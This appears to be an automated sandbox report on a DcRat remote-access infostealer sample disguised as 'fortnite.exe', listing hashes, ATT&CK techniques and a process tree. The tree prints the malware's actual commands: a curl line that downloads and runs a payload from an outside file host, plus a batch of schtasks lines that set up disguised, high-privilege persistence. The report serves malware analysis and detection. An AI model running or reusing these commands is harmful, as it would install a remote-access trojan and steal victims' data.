dcrat | 9bfc9ba2bb3b295e72a6898bfa7ed7a77421d06a0886b27dc6c79e40f90e7877

Analysis

max time kernel
145s
max time network
152s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
03-11-2024 14:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

fortnite.exe
Size

1.3MB
MD5

1c16bf40db9d99d8a4f882ee6f00af78
SHA1

82c7fdf41cd5681210da9214faa247fd26bcd350
SHA256

9bfc9ba2bb3b295e72a6898bfa7ed7a77421d06a0886b27dc6c79e40f90e7877
SHA512

378779c8be8bfef6bc2fa60bc6db618a1edc7ccd1fa130b992350ed2c28d9c87f0790b589ad3e498792ca02183286261e1f941b64f1098c1aa8eb109b61ba38a
SSDEEP

12288:8lOYMXO4mKrGuiQa47F6zKRbOQCLqn4UxCj2AqeMQm5ZQyRWkhuq3nbep3+bKDZb:8iXdm+oHLqn4uGKF5lpC+bKlAtc06x

Score

10^/10

dcrat discovery infostealer rat

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat
Dcrat family
dcrat

Process spawned unexpected child process 18 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4416	2160	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3160	2160	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2972	2160	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3240	2160	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1248	2160	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3224	2160	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3144	2160	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	764	2160	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4304	2160	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2888	2160	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1904	2160	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1592	2160	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3348	2160	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	552	2160	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1160	2160	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5020	2160	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3148	2160	schtasks.exe	91
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4360	2160	schtasks.exe	91

Downloads MZ/PE file

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-87863914-780023816-688321450-1000\Control Panel\International\Geo\Nation	fortnite.exe
Key value queried	\REGISTRY\USER\S-1-5-21-87863914-780023816-688321450-1000\Control Panel\International\Geo\Nation	physmeme.exe
Key value queried	\REGISTRY\USER\S-1-5-21-87863914-780023816-688321450-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-87863914-780023816-688321450-1000\Control Panel\International\Geo\Nation	MsHyperDhcp.exe

Executes dropped EXE 3 IoCs

pid	Process
4584	physmeme.exe
2876	MsHyperDhcp.exe
2364	fortnite.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Speech\physmeme.exe	curl.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	physmeme.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4960	PING.EXE

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-87863914-780023816-688321450-1000_Classes\Local Settings	physmeme.exe
Key created	\REGISTRY\USER\S-1-5-21-87863914-780023816-688321450-1000_Classes\Local Settings	MsHyperDhcp.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4960	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 18 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1904	schtasks.exe
5020	schtasks.exe
1248	schtasks.exe
764	schtasks.exe
4304	schtasks.exe
1592	schtasks.exe
3348	schtasks.exe
3148	schtasks.exe
4416	schtasks.exe
2972	schtasks.exe
4360	schtasks.exe
552	schtasks.exe
3240	schtasks.exe
3224	schtasks.exe
2888	schtasks.exe
1160	schtasks.exe
3160	schtasks.exe
3144	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2876	MsHyperDhcp.exe
2364	fortnite.exe
2364	fortnite.exe
2364	fortnite.exe
2364	fortnite.exe
2364	fortnite.exe
2364	fortnite.exe
2364	fortnite.exe
2364	fortnite.exe
2364	fortnite.exe
2364	fortnite.exe
2364	fortnite.exe
2364	fortnite.exe
2364	fortnite.exe
2364	fortnite.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2876	MsHyperDhcp.exe
Token: SeDebugPrivilege	2364	fortnite.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 3924 wrote to memory of 3200	3924	fortnite.exe	83
PID 3924 wrote to memory of 3200	3924	fortnite.exe	83
PID 3200 wrote to memory of 1040	3200	cmd.exe	84
PID 3200 wrote to memory of 1040	3200	cmd.exe	84
PID 3924 wrote to memory of 4584	3924	fortnite.exe	85
PID 3924 wrote to memory of 4584	3924	fortnite.exe	85
PID 3924 wrote to memory of 4584	3924	fortnite.exe	85
PID 4584 wrote to memory of 1556	4584	physmeme.exe	87
PID 4584 wrote to memory of 1556	4584	physmeme.exe	87
PID 4584 wrote to memory of 1556	4584	physmeme.exe	87
PID 1556 wrote to memory of 2180	1556	WScript.exe	95
PID 1556 wrote to memory of 2180	1556	WScript.exe	95
PID 1556 wrote to memory of 2180	1556	WScript.exe	95
PID 2180 wrote to memory of 2876	2180	cmd.exe	97
PID 2180 wrote to memory of 2876	2180	cmd.exe	97
PID 2876 wrote to memory of 4536	2876	MsHyperDhcp.exe	116
PID 2876 wrote to memory of 4536	2876	MsHyperDhcp.exe	116
PID 4536 wrote to memory of 1032	4536	cmd.exe	118
PID 4536 wrote to memory of 1032	4536	cmd.exe	118
PID 4536 wrote to memory of 4960	4536	cmd.exe	119
PID 4536 wrote to memory of 4960	4536	cmd.exe	119
PID 4536 wrote to memory of 2364	4536	cmd.exe	121
PID 4536 wrote to memory of 2364	4536	cmd.exe	121

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	6	curl/8.7.1

C:\Users\Admin\AppData\Local\Temp\fortnite.exe
"C:\Users\Admin\AppData\Local\Temp\fortnite.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl --silent https://file.garden/ZmE_ziOgiFXI9Y48/kdmapper.bin --output C:\Windows\Speech\physmeme.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3200
- - C:\Windows\system32\curl.exe
    curl --silent https://file.garden/ZmE_ziOgiFXI9Y48/kdmapper.bin --output C:\Windows\Speech\physmeme.exe
    3⤵
    - Drops file in Windows directory
    PID:1040
- C:\Windows\Speech\physmeme.exe
  "C:\Windows\Speech\physmeme.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4584
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\BridgeHyperBlocknetdhcp\GLo9G56rT0nodgfjz0.vbe"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1556
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\BridgeHyperBlocknetdhcp\PvGkvgUzeZLxrr6JqrimKZExUcjf0YvlnNA13ZfWwtdYgG4BZIx.bat" "
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2180
    - - C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe
        
        "C:\BridgeHyperBlocknetdhcp/MsHyperDhcp.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2876
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\qXenYG2qam.bat"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4536
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:1032
        
        C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4960
        
        C:\Recovery\WindowsRE\fortnite.exe
        
        "C:\Recovery\WindowsRE\fortnite.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2364

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 6 /tr "'C:\Users\Default User\winlogon.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4416

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Users\Default User\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3160

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 9 /tr "'C:\Users\Default User\winlogon.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2972

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fortnitef" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\fortnite.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3240

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fortnite" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\fortnite.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1248

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fortnitef" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\fortnite.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3224

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 10 /tr "'C:\BridgeHyperBlocknetdhcp\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3144

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\BridgeHyperBlocknetdhcp\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:764

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 7 /tr "'C:\BridgeHyperBlocknetdhcp\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4304

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 7 /tr "'C:\Users\Default\Start Menu\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2888

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Users\Default\Start Menu\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1904

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Users\Default\Start Menu\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1592

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\smss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3348

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Users\Default User\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:552

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "smsss" /sc MINUTE /mo 14 /tr "'C:\Users\Default User\smss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1160

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MsHyperDhcpM" /sc MINUTE /mo 6 /tr "'C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5020

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MsHyperDhcp" /sc ONLOGON /tr "'C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3148

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "MsHyperDhcpM" /sc MINUTE /mo 6 /tr "'C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4360

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\BridgeHyperBlocknetdhcp\GLo9G56rT0nodgfjz0.vbe

Filesize
253B

MD5
4bb32a75d150d0312a4f6b779f0b181a

SHA1
03dd7971f5534a9d5871fc936c40b7aa28c58de8

SHA256
1590ca47cc698690025d71afb485ec10be508fc5330e5d074b992f9e4f509b0e

SHA512
91d0806fa988cbbdcfa0ec80b69236f8056b0170e484fbc9c7486bca63efdec9bd93f9a31568ac5fe7ef7dd63e7eb88c27be4928ac8e132445c8340bc3a2fff6

Download Submit
C:\BridgeHyperBlocknetdhcp\MsHyperDhcp.exe

Filesize
1.8MB

MD5
8eedebc3e9237f67772e3fc3c3d798ea

SHA1
a87e1c10ddbc4c7fdbb69437647f4910216ec689

SHA256
2f1c931ea2ef0cb95382657e6947cab4cb463519e1316d5fc3cd752f8de29301

SHA512
2cf1015562ea15f3a04a7ca0fbdef489cd84ccc555facec9d94ca890365d7a65b5974442b4d36918d284c8b1cd81b905698eb7fa99b8dc14c55f5cdb05f7c8b9

Download Submit
C:\BridgeHyperBlocknetdhcp\PvGkvgUzeZLxrr6JqrimKZExUcjf0YvlnNA13ZfWwtdYgG4BZIx.bat

Filesize
86B

MD5
280356ba496d0f7d9a0d88c1e5786d93

SHA1
d5ccc97c0f4e07736f44240ce25dfcbc93c6ccad

SHA256
f6a0387019b90b50ff47c15052970372fec47420680d0d576e0288a0fa632aad

SHA512
0bd118a4766c777b2574ac1f5cfd3f71bf3f4698c6a9b6b856abf75c35ff2c47cbdf4a72189155f23cfaf1b340adf1db5ad2fe0acbe16bb60add7850ac0c1ffd

Download Submit
C:\Users\Admin\AppData\Local\Temp\qXenYG2qam.bat

Filesize
162B

MD5
dac56501f0dde6baafd7e88a20e6321a

SHA1
da9b8bdfa9c182585e0993406786162f70661bb0

SHA256
e035523d9ce63fd2e57595f8993e029d86ee4d772555543c260151106589f4ce

SHA512
0f5945ba40d7347961010080aeb55b25cfef2c0ec544ee88535bcd27a8230446c37a740d0699ef2dbe94b5d08e7e1d9877c01f287f4d1e8e255ad2c1759a1dca

Download Submit
C:\Windows\Speech\physmeme.exe

Filesize
2.1MB

MD5
e0216529a1eaed9f919e40074ca84f33

SHA1
3c2c9e6fc0e096b8aba3c96b3c23431a8aa17cc8

SHA256
48cead232045bf8ed6d8dbca3e2072be474fd74ad8901e7a3febe44a9315e5c1

SHA512
e03c5823c27b7f6b4b61ecd48a2ab1019da4e10d3de53965a183b03ef5ebdba07532d28e6284b51ceceb7fc4794719220038faccd5cb9d2a767dd82697a969df

Download Submit
memory/2364-46-0x000000001BDE0000-0x000000001BE4B000-memory.dmp

Filesize
428KB

Download
memory/2876-18-0x00000000006E0000-0x00000000008B2000-memory.dmp

Filesize
1.8MB

Download
memory/2876-20-0x00000000010C0000-0x00000000010CE000-memory.dmp

Filesize
56KB

Download
memory/2876-22-0x0000000001110000-0x000000000112C000-memory.dmp

Filesize
112KB

Download
memory/2876-23-0x000000001B590000-0x000000001B5E0000-memory.dmp

Filesize
320KB

Download
memory/2876-25-0x0000000002B30000-0x0000000002B48000-memory.dmp

Filesize
96KB

Download
memory/2876-40-0x000000001BFA0000-0x000000001C00B000-memory.dmp

Filesize
428KB

Download